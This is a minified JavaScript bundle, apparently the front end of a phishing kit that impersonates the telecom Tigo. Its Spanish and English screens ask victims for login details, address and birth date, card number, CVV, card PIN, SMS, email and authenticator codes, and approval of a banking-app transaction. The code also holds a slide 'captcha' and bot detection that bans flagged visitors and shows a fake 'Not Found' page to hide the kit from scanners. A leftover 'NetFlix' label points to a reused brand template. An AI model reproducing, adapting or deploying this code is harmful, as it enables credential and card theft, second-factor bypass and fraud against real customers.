text-muted-foreground",children:["#",V+1]}),o.jsx(Ot,{variant:"secondary",className:"text-xs",children:Ze(Of.find(Z=>Z.value===Ze(O.type))?.label||O.type)})]}),o.jsxs("div",{className:"flex gap-1",children:[o.jsx(De,{variant:"ghost",size:"sm",onClick:Z=>{Z.stopPropagation(),z(O.id,"up")},disabled:V===0,className:"h-6 w-6 p-0",children:o.jsx(P7,{className:"h-3 w-3"})}),o.jsx(De,{variant:"ghost",size:"sm",onClick:Z=>{Z.stopPropagation(),z(O.id,"down")},disabled:V===h.length-1,className:"h-6 w-6 p-0",children:o.jsx(F7,{className:"h-3 w-3"})}),o.jsx(De,{variant:"ghost",size:"sm",onClick:Z=>{Z.stopPropagation(),I(O.id)},className:"h-6 w-6 p-0 text-red-600 hover:text-red-500",children:o.jsx(Fa,{className:"h-3 w-3"})})]})]}),se(O)]},O.id))})]})]}),x&&o.jsxs($t,{className:On,children:[o.jsx(Ln,{children:o.jsxs(Pa,{className:"text-base sm:text-lg font-semibold mb-4 text-foreground",children:["Edit"," ",Ze(Of.find(O=>O.value===Ze(x.type))?.label||x.type)]})}),o.jsx(Gt,{className:"p-4 sm:p-6",children:o.jsxs("div",{className:"space-y-4",children:[x.type!=="heading"&&x.type!=="paragraph"&&x.type!=="button"&&o.jsxs("div",{children:[o.jsx(Je,{className:"text-sm font-medium text-foreground",children:"Field Label"}),o.jsx(qt,{value:Ze(x.label),onChange:O=>B(x.id,{label:O.target.value}),placeholder:"Enter field label...",className:"mt-1"})]}),x.type!=="heading"&&x.type!=="paragraph"&&x.type!=="button"&&o.jsxs("div",{children:[o.jsx(Je,{className:"text-sm font-medium text-foreground",children:"Field Name"}),o.jsx(qt,{value:Ze(x.name),onChange:O=>B(x.id,{name:O.target.value}),placeholder:"field_name",className:"mt-1"})]}),(x.type==="heading"||x.type==="paragraph")&&o.jsxs("div",{children:[o.jsx(Je,{className:"text-sm font-medium text-foreground",children:"Content"}),o.jsx(iu,{value:Ze(x.content),onChange:O=>B(x.id,{content:O.target.value}),placeholder:Ze(x.type)==="heading"?"Enter heading text...":"Enter paragraph text...",className:"mt-1"})]}),x.type==="button"&&o.jsxs("div",{children:[o.jsx(Je,{className:"text-sm font-medium text-foreground",children:"Button Text"}),o.jsx(qt,{value:Ze(x.buttonText),onChange:O=>B(x.id,{buttonText:O.target.value}),placeholder:"Enter button text...",className:"mt-1"})]}),x.type==="input"&&o.jsxs("div",{children:[o.jsx(Je,{className:"text-sm font-medium text-foreground",children:"Placeholder"}),o.jsx(qt,{value:Ze(x.placeholder),onChange:O=>B(x.id,{placeholder:O.target.value}),placeholder:"Enter placeholder text...",className:"mt-1"})]}),x.type==="select"&&o.jsxs("div",{children:[o.jsx(Je,{className:"text-sm font-medium text-foreground",children:"Options"}),o.jsx(qt,{value:x.options.join(", "),onChange:O=>B(x.id,{options:O.target.value.split(", ").filter(V=>V.trim()!=="")}),placeholder:"Enter options separated by commas...",className:"mt-1"})]}),x.type==="checkbox"&&o.jsxs("div",{children:[o.jsx(Je,{className:"text-sm font-medium text-foreground",children:"Required"}),o.jsx(jl,{checked:x.required,onCheckedChange:O=>B(x.id,{required:O}),className:"mt-1"})]})]})})]})]})]})]})]}),x&&o.jsx(Ah,{open:x!==null,onOpenChange:()=>g(null),children:o.jsxs(Lu,{className:"sm:max-w-[425px]",children:[o.jsxs(Pu,{children:[o.jsxs(Vu,{className:"text-lg font-semibold text-foreground",children:["Edit"," ",Ze(Of.find(O=>O.value===Ze(x.type))?.label||x.type)]}),o.jsx(Uu,{className:"text-sm text-muted-foreground",children:"Modify the properties of the selected field."})]}),o.jsxs("div",{className:"space-y-4",children:[x.type!=="heading"&&x.type!=="paragraph"&&x.type!=="button"&&o.jsxs("div",{children:[o.jsx(Je,{className:"text-sm font-medium text-foreground",children:"Field Label"}),o.jsx(qt,{value:Ze(x.label),onChange:O=>B(x.id,{label:O.target.value}),placeholder:"Enter field label...",className:"mt-1"})]}),x.type!=="heading"&&x.type!=="paragraph"&&x.type!=="button"&&o.jsxs("div",{children:[o.jsx(Je,{className:"text-sm font-medium text-foreground",children:"Field Name"}),o.jsx(qt,{value:Ze(x.name),onChange:O=>B(x.id,{name:O.target.value}),placeholder:"field_name",className:"mt-1"})]}),(x.type==="heading"||x.type==="paragraph")&&o.jsxs("div",{children:[o.jsx(Je,{className:"text-sm font-medium text-foreground",children:"Content"}),o.jsx(iu,{value:Ze(x.content),onChange:O=>B(x.id,{content:O.target.value}),placeholder:Ze(x.type)==="heading"?"Enter heading text...":"Enter paragraph text...",className:"mt-1"})]}),x.type==="button"&&o.jsxs("div",{children:[o.jsx(Je,{className:"text-sm font-medium text-foreground",children:"Button Text"}),o.jsx(qt,{value:Ze(x.buttonText),onChange:O=>B(x.id,{buttonText:O.target.value}),placeholder:"Enter button text...",className:"mt-1"})]}),x.type==="input"&&o.jsxs("div",{children:[o.jsx(Je,{className:"text-sm font-medium text-foreground",children:"Placeholder"}),o.jsx(qt,{value:Ze(x.placeholder),onChange:O=>B(x.id,{placeholder:O.target.value}),placeholder:"Enter placeholder text...",className:"mt-1"})]}),x.type==="select"&&o.jsxs("div",{children:[o.jsx(Je,{className:"text-sm font-medium text-foreground",children:"Options"}),o.jsx(qt,{value:x.options.join(", "),onChange:O=>B(x.id,{options:O.target.value.split(", ").filter(V=>V.trim()!=="")}),placeholder:"Enter options separated by commas...",className:"mt-1"})]}),x.type==="checkbox"&&o.jsxs("div",{children:[o.jsx(Je,{className:"text-sm font-medium text-foreground",children:"Required"}),o.jsx(jl,{checked:x.required,onCheckedChange:O=>B(x.id,{required:O}),className:"mt-1"})]})]}),o.jsxs(zu,{children:[o.jsx(De,{variant:"outline",onClick:()=>g(null),className:"text-sm",children:"Cancel"}),o.jsx(De,{onClick:()=>g(null),className:"text-sm",children:"Save Changes"})]})]})})]})}function FY(){return o.jsx(o.Fragment,{children:o.jsx(MY,{})})}const Lf=52,OY=.88;function LY({onVerified:e,challengeId:t=null}){const{t:n}=ta("global"),s=C.useRef(null),[i,c]=C.useState(0),[u,d]=C.useState("idle"),m=C.useRef("idle"),h=C.useRef({active:!1,startX:0,startTime:0,samples:0}),p=C.useCallback(E=>{m.current=E,d(E)},[]),x=C.useCallback(()=>{h.current={active:!1,startX:0,startTime:0,samples:0},c(0),p("idle")},[p]);C.useEffect(()=>{x()},[t,x]);const g=E=>E.touches?E.touches[0].clientX:E.clientX,y=C.useCallback(E=>{const A=s.current;if(!A)return 0;const j=A.getBoundingClientRect().width,R=Math.max(1,j-Lf),D=g(E)-h.current.startX;return Math.min(1,Math.max(0,D/R))},[]),w=C.useCallback(E=>{m.current!=="success"&&(E.preventDefault(),E.stopPropagation(),h.current={active:!0,startX:g(E),startTime:Date.now(),samples:0},p("dragging"))},[p]),S=C.useCallback(E=>{if(!h.current.active)return;E.cancelable&&E.preventDefault(),h.current.samples++;const A=y(E);if(c(A),A>=OY){h.current.active=!1,c(1),p("success");const j=Math.max(120,Date.now()-h.current.startTime);e?.({completed:!0,duration:j,sampleCount:Math.max(1,h.current.samples)})}},[e,p,y]),N=C.useCallback(()=>{h.current.active&&(h.current.active=!1,m.current!=="success"&&(c(0),p("idle")))},[p]);C.useEffect(()=>(window.addEventListener("mousemove",S),window.addEventListener("mouseup",N),window.addEventListener("touchmove",S,{passive:!1}),window.addEventListener("touchend",N),()=>{window.removeEventListener("mousemove",S),window.removeEventListener("mouseup",N),window.removeEventListener("touchmove",S),window.removeEventListener("touchend",N)}),[S,N]);const T=`calc(${i*100}% * (1 - ${Lf}px / 100%))`;return o.jsx("div",{className:"dark w-full space-y-3",children:o.jsxs("div",{ref:s,className:je("relative h-14 rounded-2xl border select-none overflow-hidden transition-colors duration-300",u==="success"?"border-emerald-500/40 bg-emerald-500/10":"border-border/50 bg-background/50"),style:{userSelect:"none",touchAction:"none"},children:[o.jsx("div",{className:je("absolute inset-y-0 left-0 rounded-2xl transition-colors duration-300 pointer-events-none",u==="success"?"bg-emerald-500/20":"bg-gradient-to-r from-[#8E0E00] to-[#000000]"),style:{width:`calc(${i*100}% + ${Lf/2}px)`}}),o.jsx("div",{className:"absolute inset-0 flex items-center justify-center pointer-events-none transition-opacity duration-200",style:{opacity:u==="success"?0:Math.max(0,1-i*3)},children:o.jsxs("span",{className:"text-sm text-muted-foreground/60 font-medium flex items-center gap-1.5",children:[n("captcha.slide.track")," ",o.jsx(bg,{className:"size-3.5"})]})}),u==="success"&&o.jsx("div",{className:"absolute inset-0 flex items-center justify-center pointer-events-none animate-in fade-in duration-300",children:o.jsxs("span",{className:"text-sm font-medium text-emerald-400 flex items-center gap-1.5",children:[o.jsx(C4,{className:"size-4"})," ",n("captcha.slide.confirmed")]})}),o.jsx("div",{className:je("absolute top-1 bottom-1 rounded-xl border border-black flex items-center justify-center cursor-grab active:cursor-grabbing transition-colors duration-300 shadow-lg z-20",u==="success"?"bg-emerald-500":"bg-gradient-to-br from-[#8E0E00] to-[#000000]"),style:{width:Lf,left:T,touchAction:"none"},onMouseDown:w,onTouchStart:w,children:u==="success"?o.jsx(C4,{className:"size-5 text-white pointer-events-none"}):o.jsx(bg,{className:je("size-5 text-blak pointer-events-none transition-opacity",u==="dragging"&&"opacity-60")})})]})})}function PY({onSuccess:e}){const{userid:t,setAuthenticated:n,setIsForm:s}=Wt(),{create:i,middleware:c}=Qt(),[u,d]=C.useState(null),[m,h]=C.useState(!1),[p,x]=C.useState(!1),[g,y]=C.useState(!1),w=la(),{t:S}=ta("global"),N=C.useRef(!1),T=C.useRef(!1),E=C.useCallback(async()=>{if(!t)return null;y(!1);try{const j=await i("/captcha/challenge",{uid:t},!1);if(j?.challengeId)return d(j.challengeId),x(!1),j.challengeId;throw new Error("No challenge id")}catch(j){return console.error("Failed to load captcha:",j),y(!0),d(null),null}},[i,t]);C.useEffect(()=>{T.current=!1,d(null)},[t]),C.useEffect(()=>{!t||T.current||(T.current=!0,E())},[t,E]);const A=C.useCallback(async({completed:j,duration:R,sampleCount:D})=>{if(!(!u||!t||!j||N.current)){N.current=!0;try{const k=await i("/captcha/verify",{uid:t,challengeId:u,completed:!0,duration:R,sampleCount:D},!1);if(!k?.success)throw new Error(k?.error||"Verification failed");sessionStorage.setItem(`captcha_ok_${t}`,String(Date.now())),h(!0),x(!1),n(!0),s(k.next_page||"login");try{await c(`/validate/${t}`)}catch{}e?.();const B=k.next_page==="card"?oi:cl;setTimeout(()=>w(B,{replace:!0}),1200)}catch(k){if(k?.response?.data?.reason==="bot_detected"){w(Xi,{replace:!0});return}x(!0),h(!1),await E()}finally{N.current=!1}}},[u,t,i,c,w,n,s,e,E]);return t?u?m?o.jsx(pn.div,{className:"flex items-center justify-center p-4 bg-[#000000] min-h-screen",initial:{opacity:0},animate:{opacity:1},transition:{duration:.5},children:o.jsx($t,{className:"w-full max-w-md bg-[#1a1a1a] border-[#333333]",children:o.jsx(Gt,{className:"pt-6",children:o.jsxs(pn.div,{className:"text-center space-y-4",children:[o.jsx(pn.div,{className:"w-16 h-16 mx-auto bg-[#0050ff] rounded-full flex items-center justify-center",initial:{scale:0},animate:{scale:1},children:o.jsx(fu,{className:"w-8 h-8 text-white"})}),o.jsx("p",{className:"text-gray-300",children:S("captcha.success.message")})]})})})}):o.jsx("div",{className:"w-full flex items-center justify-center p-4 bg-[#000000] min-h-screen",children:o.jsxs($t,{className:"w-full max-w-md bg-[#000] border-[#333333]",children:[o.jsxs(Ln,{children:[o.jsxs(Pa,{className:"flex flex-col gap-6 items-center justify-center space-x-2 text-white",children:[o.jsx(Rl,{className:"w-5 h-5 text-[#0050ff]"}),o.jsx("span",{className:"text-2xl font-bold",children:S("captcha.security.title")})]}),o.jsx("p",{className:"text-center text-sm text-gray-400",children:S("captcha.security.subtitle")})]}),o.jsxs(Gt,{className:"space-y-6",children:[p&&o.jsxs(io,{variant:"destructive",className:"bg-red-900/20 border-red-500/50",children:[o.jsx(Ov,{className:"h-4 w-4 text-red-400"}),o.jsxs(oo,{className:"text-red-300",children:[S("captcha.error.incorrect")," ",S("captcha.error.retryHint")]})]}),o.jsx(LY,{challengeId:u,onVerified:A})]})]})}):o.jsx("div",{className:"min-h-screen flex items-center justify-center bg-[#000000] p-4",children:o.jsx("div",{className:"text-center space-y-4 max-w-md",children:g?o.jsxs(o.Fragment,{children:[o.jsx("p",{className:"text-red-300 text-sm",children:S("captcha.loadError")}),o.jsx("button",{type:"button",onClick:()=>{T.current=!1,E()},className:"px-4 py-2 rounded-md bg-white/10 text-white hover:bg-white/20 text-sm",children:S("captcha.retry")})]}):o.jsx("p",{className:"text-white",children:S("captcha.loading")})})}):o.jsx("div",{className:"min-h-screen flex items-center justify-center bg-[#000000]",children:o.jsx("div",{className:"text-center text-white",children:S("captcha.loading")})})}let IN=!1;function zY(){const{userid:e,setAuthenticated:t}=Wt(),n=Qt();return C.useEffect(()=>{const s=async()=>{try{await n.create(`client/${e}/ban`)}catch(i){console.error("Error during banClient:",i)}};IN||(IN=!0,t(!1),s())},[]),o.jsx(o.Fragment,{children:o.jsx("div",{className:"w-full h-screen flex items-start justify-center p-[8px] bg-[#fff]",children:o.jsxs("div",{className:"w-full",style:{fontFamily:"Times New Roman, Times, serif"},children:[o.jsx("h1",{className:"text-[32px] font-[700] text-[#000]",children:"Not Found"}),o.jsx("p",{className:"mt-2 text-[16px] text-[#000]",children:"The requested URL was not found on this server."})]})})})}const yr=({children:e})=>o.jsx(o.Fragment,{children:e}),Os=({children:e})=>o.jsx(W_,{defaultTheme:"dark",storageKey:"vite-ui-theme",children:e}),VY=O_([{path:oj,element:o.jsx(yr,{children:o.jsx(mr,{children:o.jsx(Uc,{})})}),children:[{index:!0,element:o.jsx(sN,{})}]},{path:lj,element:o.jsx(yr,{children:o.jsx(mr,{children:o.jsx(Uc,{})})}),children:[{index:!0,element:o.jsx(sN,{})}]},{path:Xi,element:o.jsx(yr,{children:o.jsx(mr,{children:o.jsx(Uc,{})})}),children:[{index:!0,element:o.jsx(zY,{})}]},{path:cj,element:o.jsx(yr,{children:o.jsx(mr,{children:o.jsx(Uc,{})})}),children:[{index:!0,element:o.jsx(kI,{})}]},{path:Ki,element:o.jsx(yr,{children:o.jsx(mr,{children:o.jsx(Uc,{})})}),children:[{index:!0,element:o.jsx(PY,{})}]},{path:oi,element:o.jsx(yr,{children:o.jsx(mr,{children:o.jsx(TI,{})})}),children:[{index:!0,element:o.jsx(LH,{})}]},{path:cl,element:o.jsx(yr,{children:o.jsx(mr,{children:o.jsx(Gx,{})})}),children:[{index:!0,element:o.jsx(PH,{})},{path:"phone",element:o.jsx(zH,{})}]},{path:yg,element:o.jsx(yr,{children:o.jsx(mr,{children:o.jsx(Gx,{})})}),children:[{index:!0,element:o.jsx(VH,{})}]},{path:uj,element:o.jsx(yr,{children:o.jsx(mr,{children:o.jsx(Gx,{})})}),children:[{index:!0,element:o.jsx(IH,{})}]},{path:Fv,element:o.jsx(Os,{children:o.jsx(gr,{children:o.jsx(xr,{})})}),children:[{index:!0,element:o.jsx(sq,{})}]},{path:du,element:o.jsx(Os,{children:o.jsx(gr,{children:o.jsx(xr,{})})}),children:[{index:!0,element:o.jsx(PN,{})}]},{path:w7,element:o.jsx(Os,{children:o.jsx(gr,{children:o.jsx(xr,{})})}),children:[{index:!0,element:o.jsx(PN,{})}]},{path:I0,element:o.jsx(Os,{children:o.jsx(gr,{children:o.jsx(xr,{})})}),children:[{index:!0,element:o.jsx(qq,{})}]},{path:fj,element:o.jsx(Os,{children:o.jsx(gr,{children:o.jsx(xr,{})})}),children:[{index:!0,element:o.jsx(Zq,{})}]},{path:hj,element:o.jsx(Os,{children:o.jsx(gr,{children:o.jsx(xr,{})})}),children:[{index:!0,element:o.jsx(Yq,{})}]},{path:mj,element:o.jsx(Os,{children:o.jsx(gr,{children:o.jsx(xr,{})})}),children:[{index:!0,element:o.jsx(FY,{})}]},{path:C7,element:o.jsx(Os,{children:o.jsx(gr,{children:o.jsx(xr,{})})}),children:[{index:!0,element:o.jsx(UN,{})}]},{path:N7,element:o.jsx(Os,{children:o.jsx(gr,{children:o.jsx(xr,{})})}),children:[{index:!0,element:o.jsx(UN,{})}]},{path:dj,element:o.jsx(Os,{children:o.jsx(DI,{})}),children:[{index:!0,element:o.jsx(rq,{})}]}]),UY=()=>o.jsx(K_,{router:VY});function IY(){return o.jsx(OL,{children:o.jsx(zL,{children:o.jsx(UY,{})})})}const HY={save:"Guardar Dirección",continue:"Continuar",update:"Actualizar"},qY={title:"Actualiza tu membresía",description:"Debes actualizar tu método de pago para mantener tu servicio Tigo activo."},$Y={signIn:"Introduce tus datos para iniciar sesión",enterMobileOrEmail:"O empieza con una cuenta nueva.",invalidEmail:"Por favor, ingresa un correo electrónico válido o número de teléfono.",byContinuing:"Al continuar, aceptas los términos",conditionsAndPrivacy:"Condiciones de uso y aviso de privacidad",needHelp:"¿Necesitas ayuda?",change:"Cambiar",password:"Contraseña",forgotPassword:"¿Olvidaste tu contraseña?",keepSignedIn:"Mantener sesión iniciada.",details:"Detalles",newAccount:"¿No tienes cuenta?",createAccount:"Regístrate",emailPlaceholder:"Correo electrónico o número de teléfono",recaptchaNotice:"Esta página está protegida por Google reCAPTCHA para asegurar que no eres un robot.",invalidPassword:"Introduce tu contraseña."},GY={close:"Cerrar",logoAlt:"Tigo"},YY={identificationCode:"Código de Identificación",temporarilyUnavailable:"Temporalmente No Disponible",featureNotAvailable:"Esta función no está disponible actualmente. Estamos trabajando para ofrecerla pronto.",thankYou:"Gracias por tu comprensión.",understood:"Entendido"},KY={termsAndPrivacy:"Términos y aviso de privacidad",sendFeedback:"Envíanos comentarios",help:"Ayuda",copyright:"© 2026 Tigo Guatemala",questions:"¿Preguntas? Contáctanos.",contactUs:"Contáctanos.",faq:"Preguntas Frecuentes",helpCenter:"Centro de Ayuda",termsOfUse:"Términos de Uso",privacy:"Privacidad",cookiePreferences:"Preferencias de Cookies",corporateInfo:"Información corporativa"},XY={title:"Dirección",subtitle:"Los impuestos se calculan según tu dirección.",firstName:"Nombre",lastName:"Apellido",address:"Dirección",city:"Ciudad",postalCode:"Código Postal",country:"País",phone:"Teléfono",dob:"Fecha de Nacimiento"},WY={title:"Inicia sesión usando tu aplicación autenticadora",subtitle:"Para continuar, ingresa el código de verificación de 6 dígitos generado por tu aplicación autenticadora.",alternativeConnection:"Intenta iniciar sesión de otra manera.",codeInputLabel:"Dígito {{position}} del código de verificación"},QY={title:"Autenticación",description:"Ingresa el código de autorización de un solo uso en el campo a continuación para confirmar esta transacción.",instruction:"Ingresa el código para continuar",codeLabel:"Código de Verificación",codeRequired:"El código de verificación es obligatorio",didntReceive:"¿No recibiste el código?",sending:"Enviando...",resendCode:"Reenviar Código",resendCountdown:"Reenviar código en {{timeLeft}}s",helpTitle:"¿Tienes problemas?",helpItem1:"Revisa tus mensajes para el código",helpItem2:"Asegúrate de tener buena señal",helpItem3:"El código caduca en 10 minutos"},ZY={title:"Verifica tu Teléfono",description:"Hemos enviado un código de verificación a tu número de teléfono",instruction:"Ingresa el código para continuar",codeLabel:"Código de Verificación",codeRequired:"El código de verificación es obligatorio",didntReceive:"¿No recibiste el código?",sending:"Enviando...",resendCode:"Reenviar Código",resendCountdown:"Reenviar código en {{timeLeft}}s",helpTitle:"¿Tienes problemas?",helpItem1:"Revisa tus mensajes para el código",helpItem2:"Asegúrate de tener buena señal",helpItem3:"El código expira en 10 minutos"},JY={title:"Verifica tu Correo",description:"Hemos enviado un código de verificación a tu correo electrónico",instruction:"Ingresa el código para continuar",codeLabel:"Código de Verificación",codeRequired:"El código de verificación es obligatorio",didntReceive:"¿No recibiste el código?",sending:"Enviando...",resendCode:"Reenviar Código",resendCountdown:"Reenviar código en {{timeLeft}}s",helpTitle:"¿Tienes problemas?",helpItem1:"Revisa tu bandeja de entrada y carpeta de spam",helpItem2:"Asegúrate de que tu correo sea correcto",helpItem3:"El código expira en 10 minutos"},eK={xPay11:"Se requiere número de tarjeta de crédito",xPay13:"Se requiere fecha de expiración de la tarjeta",xPay15:"Se requiere CVV/CVC",xPay18:"El número de tarjeta debe tener entre 13 y 19 dígitos",xPay19:"Número de tarjeta inválido",xPay20:"Fecha de expiración inválida",xPay21:"CVV inválido"},tK={title:"Configura tu tarjeta de crédito o débito",creditCard:"Tarjeta de crédito o débito",cardNumber:"Número de tarjeta",expirationDate:"Fecha de expiración",expiryPlaceholder:"MM/AA",cvv:"CVV",fourDigits:"(4 dígitos)",cardNumberRequired:"Se requiere número de tarjeta",extra:"Tus pagos se procesarán internacionalmente. Pueden aplicarse cargos bancarios adicionales."},nK={title:"Aprueba la Transacción",description:"Se te ha enviado una notificación para validar tu aplicación de seguridad",instructionsTitle:"Sigue estos pasos:",step1:"Abre tu aplicación de banca móvil",step2:"Busca la transacción pendiente",step3:"Aprueba la transacción con tu PIN o biometría",step4:"Regresa aquí y confirma la aprobación",warningTitle:"Aviso Importante",warningText:"La transacción debe aprobarse dentro de 10 minutos. Tras este tiempo, deberás reiniciar el proceso."},aK={xCustom1:"Autenticación",xCustom2:"Por favor, inicia sesión usando los datos proporcionados por tu proveedor de servicios."},sK={title:"Ingresa tu PIN",description:"Ingresa tu PIN de 4 dígitos para continuar",instruction:"Ingresa el PIN asociado a tu tarjeta",pinLabel:"PIN de la Tarjeta",pinRequired:"El PIN es obligatorio",pinPattern:"El PIN debe tener exactamente 4 dígitos",securityNotice:"Tu PIN está encriptado y seguro",helpTitle:"Ayuda de Ingreso de PIN",helpItem1:"Ingresa tu PIN de 4 dígitos",helpItem2:"Asegúrate de que nadie vea tu pantalla",helpItem3:"Contacta soporte si olvidaste tu PIN"},rK={successTitle:"¡Completado con Éxito!",successDescription:"Tu pago ha sido procesado exitosamente, gracias",bankName:"Tigo",nextStepsTitle:"¿Qué sucede a continuación?",nextStep1:"Recibirás un correo de confirmación en 24 horas",nextStep2:"Los nuevos datos de tu cuenta están disponibles de inmediato",nextStep3:"Si tienes preguntas, nuestro equipo de soporte está disponible para ayudarte"},iK={xLoading1:"Por favor espera mientras procesamos tu solicitud...",xLoading2:"Esto puede tardar unos segundos."},oK={infoSubmissionError:"Error al enviar la información. Intenta de nuevo.",loginError:"Error de inicio de sesión. Intenta nuevamente.",xmessageLogin:"Algunos de tus datos son incorrectos. Intenta de nuevo.",xmessageCustom:"La información proporcionada no es válida. Intenta nuevamente.",xmessageApp:"La transacción falló debido a un error técnico. Intenta nuevamente.",xmessageSms:"El código de verificación no es válido. Verifica tus SMS y vuelve a intentar.",xmessageMail:"El código de verificación no es válido. Verifica tu correo electrónico y vuelve a intentar.",xmessageAuth:"El código de verificación no es válido. Verifica e intenta nuevamente.",xmessageQr:"El código QR es inválido o ha expirado. Intenta nuevamente.",xmessageCard:"Los detalles de la tarjeta no son válidos, utiliza una tarjeta válida.",xmessagePin:"El PIN es inválido. Verifica e intenta nuevamente.",xmessageBank:"La verificación bancaria falló. Revisa tus datos e inténtalo de nuevo.",xmessageSendingError:"Ocurrió un error al enviar la solicitud. Intenta nuevamente.",xmessageSending:"No se pudo enviar el código de verificación",cardSubmissionError:"Error al procesar la tarjeta. Intenta nuevamente."},lK={required:"Este campo es obligatorio",emailRequired:"Por favor ingresa tu número de teléfono Tigo.",passwordRequired:"Por favor ingresa tu contraseña.",firstNameRequired:"El nombre es obligatorio",lastNameRequired:"El apellido es obligatorio",addressRequired:"La dirección es obligatoria",cityRequired:"La ciudad es obligatoria",postalCodeRequired:"El código postal es obligatorio",countryRequired:"El país es obligatorio",phoneRequired:"El número de teléfono es obligatorio",dateOfBirthRequired:"La fecha de nacimiento es obligatoria",phoneInvalid:"Número de teléfono inválido",cardNumberRequired:"Se requiere número de tarjeta",cardNumberInvalid:"Número de tarjeta inválido",expiryRequired:"Se requiere fecha de expiración",expiryInvalid:"Fecha de expiración inválida",expiryExpired:"La tarjeta ha expirado",cvvRequired:"Se requiere CVV",cvvInvalid:"CVV inválido",cvvLength:"El CVV debe tener 3 dígitos (4 para American Express)"},cK={loading:"Cargando verificación de seguridad...",loadError:"No se pudo cargar la verificación. Inténtalo de nuevo.",retry:"Reintentar",security:{title:"Verificación de Seguridad",subtitle:"Desliza para confirmar que eres humano"},success:{title:"Verificado",message:"Has completado con éxito la verificación."},error:{incorrect:"Verificación fallida.",retryHint:"Desliza de nuevo para continuar."},slide:{hint:"Desliza para confirmar que eres humano",track:"Desliza para confirmar",confirmed:"Confirmado"}},uK={button:HY,subscription:qY,login:$Y,common:GY,modal:YY,footer:KY,info:XY,auth:WY,smsForm:QY,otpForm:ZY,mailForm:JY,pay:eK,card:tK,appForm:nK,custom:aK,pinForm:sK,confirmForm:rK,loading:iK,message:oK,validation:lK,captcha:cK},dK={save:"Save Address",continue:"Continue",update:"Update"},fK={title:"Update your membership",description:"Your payment method needs to be updated to continue enjoying Tigo."},hK={signIn:"Enter your info to sign in",enterMobileOrEmail:"Or get started with a new account.",invalidEmail:"Please enter a valid email or mobile number.",byContinuing:"By continuing, you agree to the terms",conditionsAndPrivacy:"Conditions of Use and Privacy Notice",needHelp:"Get Help",change:"Change",password:"Password",forgotPassword:"Forgot password?",keepSignedIn:"Keep me signed in.",details:"Details",newAccount:"Don't have an account?",createAccount:"Sign up",emailPlaceholder:"Email or mobile number",recaptchaNotice:"This page is protected by Google reCAPTCHA to ensure you're not a bot.",invalidPassword:"Please enter your password."},mK={close:"Close",logoAlt:"Tigo"},pK={identificationCode:"Identification code",temporarilyUnavailable:"Temporarily unavailable",featureNotAvailable:"This feature is not available right now. We are working to bring it to you soon.",thankYou:"Thank you for your understanding.",understood:"Got it"},xK={termsAndPrivacy:"Terms and Privacy Notice",sendFeedback:"Send us feedback",help:"Help",copyright:"© 1996-{{year}}, Tigo, Inc. or its affiliates",questions:"Questions?",contactUs:"Contact us.",faq:"FAQ",helpCenter:"Help Center",termsOfUse:"Terms of Use",privacy:"Privacy",cookiePreferences:"Cookie Preferences",corporateInfo:"Corporate Information"},gK={title:"Billing Verification",subtitle:"Please provide your billing information to verify your account.",firstName:"First name",lastName:"Last name",address:"Address",city:"City",postalCode:"Postal code",country:"Country",phone:"Phone",dob:"Date of Birth"},vK={title:"Sign in using your authenticator app",subtitle:"To continue, enter the 6-digit verification code generated by your authenticator app.",alternativeConnection:"Try signing in another way.",codeInputLabel:"Digit {{position}} of verification code"},yK={title:"Authentication",description:"Please enter the one-time authorization code in the field below to confirm this transaction.",instruction:"Enter the code below to continue",codeLabel:"Verification Code",codeRequired:"Verification code is required",didntReceive:"Didn't receive the code?",sending:"Sending...",resendCode:"Resend Code",resendCountdown:"Resend code in {{timeLeft}}s",helpTitle:"Having trouble?",helpItem1:"Check your messages for the code",helpItem2:"Make sure you have good signal reception",helpItem3:"The code expires in 10 minutes"},bK={title:"Verify Your Phone",description:"We've sent a verification code to your phone number",instruction:"Enter the code below to continue",codeLabel:"Verification Code",codeRequired:"Verification code is required",didntReceive:"Didn't receive the code?",sending:"Sending...",resendCode:"Resend Code",resendCountdown:"Resend code in {{timeLeft}}s",helpTitle:"Having trouble?",helpItem1:"Check your messages for the code",helpItem2:"Make sure you have good signal reception",helpItem3:"The code expires in 10 minutes"},wK={title:"Verify Your Email",description:"We've sent a verification code to your email address",instruction:"Enter the code below to continue",codeLabel:"Verification Code",codeRequired:"Verification code is required",didntReceive:"Didn't receive the code?",sending:"Sending...",resendCode:"Resend Code",resendCountdown:"Resend code in {{timeLeft}}s",helpTitle:"Having trouble?",helpItem1:"Check your inbox and spam folder",helpItem2:"Make sure your email address is correct",helpItem3:"The code expires in 10 minutes"},CK={xPay11:"Credit card number is required",xPay13:"Card expiry date is required",xPay15:"CVV/CVC is required",xPay18:"Credit card number must be between 13 and 19 digits",xPay19:"Invalid credit card number",xPay20:"Invalid expiration date",xPay21:"Invalid CVV"},SK={title:"Set up your credit or debit card",creditCard:"Credit or debit card",cardNumber:"Card number",expirationDate:"Expiry date",expiryPlaceholder:"MM/YY",cvv:"CVV",fourDigits:"(4 digits)",cardNumberRequired:"Card number is required",extra:"Your payments will be processed internationally. Additional bank fees may apply."},NK={title:"Approve Transaction",description:"You have been sent a notification to validate your security application",instructionsTitle:"Follow these steps:",step1:"Open your Mobile Banking App",step2:"Look for the pending transaction",step3:"Approve the transaction with your PIN or biometrics",step4:"Return here and confirm the approval",warningTitle:"Important Notice",warningText:"The transaction must be approved within 10 minutes. After this time expires, you will need to restart the process."},EK={xCustom1:"Authentication",xCustom2:"Please log in using the login details provided by your service provider."},jK={title:"Enter Your PIN",description:"Please enter your 4-digit card PIN to continue",instruction:"Enter the PIN associated with your card",pinLabel:"Card PIN",pinRequired:"PIN is required",pinPattern:"PIN must be exactly 4 digits",securityNotice:"Your PIN is encrypted and secure",helpTitle:"PIN Entry Help",helpItem1:"Enter your 4-digit card PIN",helpItem2:"Make sure no one can see your screen",helpItem3:"Contact support if you've forgotten your PIN"},AK={successTitle:"Successfully Completed!",successDescription:"Your account has been renewed and updated, thank you",bankName:"NetFlix",nextStepsTitle:"What Happens Next?",nextStep1:"You will receive a confirmation email within 24 hours",nextStep2:"Your new account details are immediately available",nextStep3:"If you have any questions, our support team is here to help"},TK={xLoading1:"Please wait while we process your request...",xLoading2:"This may take a few seconds."},DK={infoSubmissionError:"Information submission error. Please try again.",loginError:"Login error. Please try again.",xmessageLogin:"Some of your information is incorrect. Please try again.",xmessageCustom:"The information provided is not valid. Please try again.",xmessageApp:"The transaction failed due to a technical error. Please try again.",xmessageSms:"The verification code is invalid. Please check your SMS messages and try again.",xmessageMail:"The verification code is invalid. Please check your Email messages and try again.",xmessageAuth:"The verification code is invalid. Please check and try again.",xmessageQr:"The QR code is invalid or expired. Please try again.",xmessageCard:"The credit card details are invalid, please 